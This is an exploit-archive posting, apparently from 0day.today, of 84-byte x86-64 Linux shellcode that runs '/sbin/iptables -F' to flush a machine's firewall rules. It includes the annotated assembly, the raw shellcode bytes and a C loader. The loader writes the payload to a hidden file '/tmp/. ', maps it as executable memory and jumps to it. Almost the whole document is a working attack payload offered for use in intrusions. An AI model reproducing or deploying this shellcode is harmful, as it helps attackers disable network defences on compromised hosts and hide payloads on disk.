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linux/amd64 flush iptables rules shellcode 84 bytes
[===================================================
linux/amd64 flush iptables rules shellcode 84 bytes
===================================================
/*
/sbin/iptables -F shellcode for AMD64 (84 bytes)
By gat3way <gat3way(at )gat3way(dot)eu>
The code to load the sc[] into an executable mmap()-ed executable page
was shamelessly stolen by hophet (too lazy :))
Thanks Gustavo C. for the inspiration - x86_64 assembly is fun :)
# Here is the boring assembly code:
# push /sbin/iptables:
movq $0x73656c626174ffff, %rbx
shr $16, %rbx
push %rbx
movq $0x70692f6e6962732f, %rbx
push %rbx
movq %rsp, %rdi
# push params
movq $0x462dffffffffffff,%rbx
shr $48, %rbx
push %rbx
movq %rsp, %rcx
movq $0x46ffffffffffffff,%rbx
shr $56, %rbx
push %rbx
movq %rsp, %rax
xor %rbx, %rbx
push %rbx
push %rcx
push %rax
movq %rsp,%rsi
movq %rsp,%rdx
# execve
xorq %rax,%rax
mov $0x3b,%al
syscall
Hm...pak ne moga da izmislia neshto umno :(
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char sc[]="\x48\xbb\xff\xff"
"\x74\x61\x62\x6c\x65\x73\x48\xc1\xeb\x10\x53\x48\xbb\x2f\x73\x62"
"\x69\x6e\x2f\x69\x70\x53\x48\x89\xe7\x48\xbb\xff\xff\xff\xff\xff"
"\xff\x2d\x46\x48\xc1\xeb\x30\x53\x48\x89\xe1\x48\xbb\xff\xff\xff"
"\xff\xff\xff\xff\x46\x48\xc1\xeb\x38\x53\x48\x89\xe0\x48\x31\xdb"
"\x53\x51\x50\x48\x89\xe6\x48\x89\xe2\x48\x31\xc0\xb0\x3b\x0f\x05";
void main()
{
void (*p)();
int fd;
printf("Lenght: %d\n", strlen(sc));
fd = open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
if (fd < 0)
err(1, "open");
write(fd, sc, strlen(sc));
if ((lseek(fd, 0L, SEEK_SET)) < 0)
err(1, "lseek");
p = (void (*)())mmap(NULL, strlen(sc), PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0);
if (p == (void (*)())MAP_FAILED)
err(1, "mmap");
p();
return 0;
}
# 0day.today [2024-12-25] #